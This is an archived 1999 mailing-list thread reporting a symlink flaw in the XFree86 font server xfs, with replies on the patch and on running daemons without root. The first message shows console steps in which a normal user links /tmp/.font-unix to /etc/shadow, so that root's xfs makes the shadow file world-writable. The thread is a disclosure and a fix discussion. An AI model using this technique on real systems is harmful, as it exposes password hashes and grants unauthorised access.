TUCoPS :: Unix :: General :: xfs.txt

Bug in xfs
Lukasz Trabinski (lukasz@LT.WSISIZ.EDU.PL)
1999年3月30日 00:14:34 +0200 
Hello,
I hope that's information will be useful for making new patch for
XFree86.
I found bug in xfs
(Packet XFree86-xfs-3.3.3.1-1 in RedHat 5.1 and probably in RedHat 5.2
updates, too)
Xfs is a font server for XFree86, it's also create directory in /tmp
That directory name .font-unix
Let's make a little check:
On first console (I logged as a normal user)
[lukasz@lt /tmp]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[lukasz@lt /tmp]$ ls -all /etc/shadow
-r-------- 1 root root 544 Mar 30 00:04 /etc/shadow
[lukasz@lt /tmp]$ ll
total 2
drwxrwxrwt 2 root root 1024 Mar 30 00:05 .
drwxr-xr-x 18 root root 1024 Mar 23 00:10 ..
lrwxrwxrwx 1 lukasz users 11 Mar 30 00:05 .font-unix ->
/etc/shadow
On second console, as root
[root@lt /root]# xfs &
[1] 2021
[root@lt /root]# _FontTransSocketCreateListener: failed to bind listener
_FontTransSocketUNIXCreateListener: ...SocketCreateListener() failed
_FontTransMakeAllCOTSServerListeners: failed to create listener for local
On first console:
[lukasz@lt /tmp]$ ls -all /etc/shadow
-rwxrwxrwt 1 root root 544 Mar 30 00:04 /etc/shadow
^^^^^^^^^^^
That's all ;)
Solution, As root before run xfs, make rm -rf /tmp/.font-unix
Sorry for my broken English ;(
 _[ Lukasz Trabinski ]_
PgP Key: finger:lukasz@oceanic.wsisiz.edu.pl, SysAdmin @wsisiz.edu.pl
-----------------------------------------------------------------------
Re: Bug in xfs
Matthieu Herrb (matthieu@laas.fr)
1999年3月31日 08:04:17 +0200 
You wrote (in your message from Tuesday 30)
 >
 > I hope that's information will be useful for making new patch for
 > XFree86.
 >
 > I found bug in xfs
This is caused by the same bug in xc/lib/xtrans that "in.telnetd"
<telnetd@DOEMILL.SHOCKING.COM> reported under the subject "X11R6 NetBSD
Security Problem" last week.
The patch I submitted (with stat() replaced by lstat(), as noted by
Kevin Vajk and other) also fixes that.
--
 Matthieu
-----------------------------------------------------------------------
Re: Bug in xfs
Juha Virtanen (jiivee@iki.fi)
1999年3月31日 09:38:28 +0300 
Regardless of the bug Lukasz Trabinski found in xfs -- it should
be fixed and similar bugs traced from other software as well --
it is not necessary to run xfs with root permissions at all.
Someone may unknowingly argue that it needs to listen a port.
Yes, but that's usually port 7100, and as it's not under 1024
limit, so root permission isn't needed.
I've run xfs for ages on separate account. below is the
significant startup line I use in RedHat 5.x systems:
daemon /bin/su fontsvr -c "/usr/X11/bin/xfs -config /etc/X11/fs/config -port 7100 &"
The rule is: if a daemon can do its work with lower permissions
than root, it should.
I do also run named as nonroot permissions (Startup
/usr/sbin/named -u user -g group). I recommend other people
doing this as well.
Juha Virtanen
--
<URL:http://www.iki.fi/jiivee/>
-----------------------------------------------------------------------
Re: Bug in xfs
Alan Cox (alan@LXORGUK.UKUU.ORG.UK)
1999年3月31日 10:25:07 +0100 
> I do also run named as nonroot permissions (Startup
> /usr/sbin/named -u user -g group). I recommend other people
> doing this as well.
This isnt one to do blindly as it means named cannot bind to interfaces
that appear dynamically (eg as a DNS cache on a terminal server). The
fact that you end up having to run named as root or with the relevant
capability to allow it to bind to low ports.
Alan
-----------------------------------------------------------------------
Re: Bug in xfs
Roman Drahtmueller (draht2@RZLIN1.RUF.UNI-FREIBURG.DE)
1999年3月31日 05:10:14 +0200 
[snip]
> [lukasz@lt /tmp]$ ls -all /etc/shadow
> -r-------- 1 root root 544 Mar 30 00:04 /etc/shadow
[snip]
> [root@lt /root]# xfs &
[snip]
> [lukasz@lt /tmp]$ ls -all /etc/shadow
> -rwxrwxrwt 1 root root 544 Mar 30 00:04 /etc/shadow
[snip]
> Solution, As root before run xfs, make rm -rf /tmp/.font-unix
For sure this needs to be fixed. Your "solution" introduces a race
condition, though, if the font server is started when users are
allowed to log on.
A better interim aid is not to run xfs as root in the first place. In
fact, why would one want to run things as root if not necessary?
Roman.
Computer Center University of Freiburg, Germany.
"The whole world is about three drinks behind." (Humphrey Bogart)